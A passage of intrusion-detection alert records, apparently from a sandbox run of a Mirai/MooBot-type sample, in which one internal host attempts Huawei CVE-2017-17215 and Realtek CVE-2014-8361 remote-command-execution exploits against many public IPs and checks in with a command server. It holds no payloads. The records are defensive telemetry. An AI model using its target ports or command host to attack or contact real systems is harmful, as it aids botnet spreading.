Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.60.226

Timestamp:	07/20/24-23:01:33.030188
SID:	2835222
Source Port:	51522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.3.243.86

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	48486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.155.34

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	37296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.69.237.0

Timestamp:	07/20/24-23:01:13.329793
SID:	2831300
Source Port:	55518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.127.78.197

Timestamp:	07/20/24-23:01:02.415259
SID:	2829579
Source Port:	37866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.187.245.19

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	55486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.237.29

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	38678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.252.154.154

Timestamp:	07/20/24-23:01:25.230657
SID:	2829579
Source Port:	42856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.28.208.36

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	43638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.24.17

Timestamp:	07/20/24-23:01:05.911929
SID:	2835222
Source Port:	50520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.99.211.107

Timestamp:	07/20/24-23:01:07.682290
SID:	2829579
Source Port:	42318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.89.208.254

Timestamp:	07/20/24-23:01:19.334827
SID:	2829579
Source Port:	52426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.239.228.171

Timestamp:	07/20/24-23:01:02.411903
SID:	2829579
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 94.216.126.93

Timestamp:	07/20/24-23:01:29.171113
SID:	2831300
Source Port:	35368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.83.123.25

Timestamp:	07/20/24-23:01:02.444792
SID:	2835222
Source Port:	49006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 151.136.169.42

Timestamp:	07/20/24-23:01:13.330939
SID:	2831300
Source Port:	52058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.213.136.195

Timestamp:	07/20/24-23:01:28.143109
SID:	2829579
Source Port:	52186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.58.161.121

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	45706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 34.37.107.29

Timestamp:	07/20/24-23:01:05.253611
SID:	2027339
Source Port:	34388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.179.11

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	34238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.139.46

Timestamp:	07/20/24-23:01:02.404044
SID:	2829579
Source Port:	60728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.80.60.235

Timestamp:	07/20/24-23:01:02.410515
SID:	2829579
Source Port:	48420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.112.65.145

Timestamp:	07/20/24-23:01:33.647102
SID:	2027339
Source Port:	57378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.162.79.152

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	49224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 172.52.92.23

Timestamp:	07/20/24-23:01:29.550329
SID:	2025132
Source Port:	53180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.24.63.141

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	39104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 141.224.95.108

Timestamp:	07/20/24-23:01:13.332172
SID:	2831300
Source Port:	46872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.154.99.20

Timestamp:	07/20/24-23:01:13.335387
SID:	2027339
Source Port:	37074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 223.29.150.196

Timestamp:	07/20/24-23:01:29.572433
SID:	2027339
Source Port:	40168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.172.239

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	37062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.47.232

Timestamp:	07/20/24-23:01:02.411645
SID:	2829579
Source Port:	40822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.96.147

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	44782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.199.152

Timestamp:	07/20/24-23:01:37.121609
SID:	2835222
Source Port:	45900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.155.216

Timestamp:	07/20/24-23:01:05.908608
SID:	2835222
Source Port:	33288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.181.40

Timestamp:	07/20/24-23:01:19.221647
SID:	2829579
Source Port:	54190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.192.227

Timestamp:	07/20/24-23:01:02.412965
SID:	2829579
Source Port:	59068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.48.23

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.203.149.103

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	57768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.232.165

Timestamp:	07/20/24-23:01:37.121609
SID:	2835222
Source Port:	51312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.249.63

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	41282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.141.151

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	45598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.166.207.208

Timestamp:	07/20/24-23:01:02.407252
SID:	2835222
Source Port:	52176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.125.130

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	33906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.183.239

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	48860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.58.18

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	35896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.184.254.182

Timestamp:	07/20/24-23:01:29.172029
SID:	2027339
Source Port:	58488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.166.90.82

Timestamp:	07/20/24-23:01:37.158916
SID:	2835222
Source Port:	38598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 132.72.212.148

Timestamp:	07/20/24-23:01:24.485271
SID:	2027339
Source Port:	59090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.8.142.240

Timestamp:	07/20/24-23:01:22.792913
SID:	2835222
Source Port:	53166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.180.127.172

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	36286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.234.199.200

Timestamp:	07/20/24-23:01:05.911930
SID:	2829579
Source Port:	44068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.31.141.74

Timestamp:	07/20/24-23:01:24.721637
SID:	2027339
Source Port:	51598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 72.66.251.190

Timestamp:	07/20/24-23:01:25.271822
SID:	2025132
Source Port:	54156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 80.229.248.142

Timestamp:	07/20/24-23:01:29.189808
SID:	2831300
Source Port:	50160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.184.63.212

Timestamp:	07/20/24-23:01:33.908831
SID:	2027339
Source Port:	48184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.144.186

Timestamp:	07/20/24-23:01:33.069192
SID:	2835222
Source Port:	34674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 177.232.37.130

Timestamp:	07/20/24-23:01:13.335418
SID:	2831300
Source Port:	36292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.95.243

Timestamp:	07/20/24-23:01:14.397786
SID:	2835222
Source Port:	42810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.7.72

Timestamp:	07/20/24-23:01:05.906602
SID:	2829579
Source Port:	47722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.46.195.122

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	38330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.151.202.253

Timestamp:	07/20/24-23:01:13.333560
SID:	2027339
Source Port:	58816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.33.145

Timestamp:	07/20/24-23:01:28.184352
SID:	2829579
Source Port:	32884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.36.87.26

Timestamp:	07/20/24-23:01:02.415739
SID:	2835222
Source Port:	52714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 179.90.129.47

Timestamp:	07/20/24-23:01:13.333893
SID:	2831300
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.97.146

Timestamp:	07/20/24-23:01:37.122769
SID:	2829579
Source Port:	43834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 151.136.169.42

Timestamp:	07/20/24-23:01:05.843043
SID:	2025132
Source Port:	50862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.67.250.160

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	57772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.217.208.13

Timestamp:	07/20/24-23:01:33.049931
SID:	2835222
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.163.161

Timestamp:	07/20/24-23:01:19.221345
SID:	2829579
Source Port:	54808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 178.190.243.0

Timestamp:	07/20/24-23:01:22.857863
SID:	2025132
Source Port:	42150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.46.171

Timestamp:	07/20/24-23:01:22.790734
SID:	2835222
Source Port:	38006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.121.122

Timestamp:	07/20/24-23:01:28.143994
SID:	2829579
Source Port:	42642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 208.162.133.146

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	47986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.90.47.36

Timestamp:	07/20/24-23:01:37.227353
SID:	2829579
Source Port:	43322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 176.163.228.117

Timestamp:	07/20/24-23:01:29.172029
SID:	2027339
Source Port:	59840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 132.72.212.148

Timestamp:	07/20/24-23:01:29.179619
SID:	2027339
Source Port:	59662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:07.358869
SID:	2030490
Source Port:	40048
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.8.28.16

Timestamp:	07/20/24-23:01:22.762116
SID:	2829579
Source Port:	46496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.136.67.125

Timestamp:	07/20/24-23:01:34.939612
SID:	2027339
Source Port:	44338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.42.96

Timestamp:	07/20/24-23:01:33.044521
SID:	2829579
Source Port:	51970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.132.193.104

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	39920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.238.195.175

Timestamp:	07/20/24-23:01:22.769838
SID:	2829579
Source Port:	58388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.151.109

Timestamp:	07/20/24-23:01:02.409019
SID:	2835222
Source Port:	38188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.182.56

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	52582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.241.94.91

Timestamp:	07/20/24-23:01:37.214680
SID:	2835222
Source Port:	45988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.184.153.75

Timestamp:	07/20/24-23:01:32.812681
SID:	2027339
Source Port:	49472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.171.155.202

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	43466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 75.209.239.5

Timestamp:	07/20/24-23:01:29.187581
SID:	2027339
Source Port:	44206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.155.45

Timestamp:	07/20/24-23:01:37.224827
SID:	2835222
Source Port:	33790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.81.117.241

Timestamp:	07/20/24-23:01:02.408597
SID:	2835222
Source Port:	55560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 17.93.26.147

Timestamp:	07/20/24-23:01:24.716091
SID:	2025132
Source Port:	47382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.235.159.241

Timestamp:	07/20/24-23:01:34.938216
SID:	2027339
Source Port:	54938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.82.108

Timestamp:	07/20/24-23:01:22.776061
SID:	2829579
Source Port:	35584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.88.41.229

Timestamp:	07/20/24-23:01:02.410541
SID:	2829579
Source Port:	41482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.208.154.119

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	47460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.116.242.190

Timestamp:	07/20/24-23:01:34.920870
SID:	2027339
Source Port:	48136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 85.70.210.244

Timestamp:	07/20/24-23:01:13.333147
SID:	2831300
Source Port:	58806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.195.47

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	57010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 207.107.95.51

Timestamp:	07/20/24-23:01:06.123009
SID:	2027339
Source Port:	46984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.146.224.142

Timestamp:	07/20/24-23:01:13.330714
SID:	2027339
Source Port:	54148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.199.109.54

Timestamp:	07/20/24-23:01:02.410932
SID:	2835222
Source Port:	36238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.76.70.226

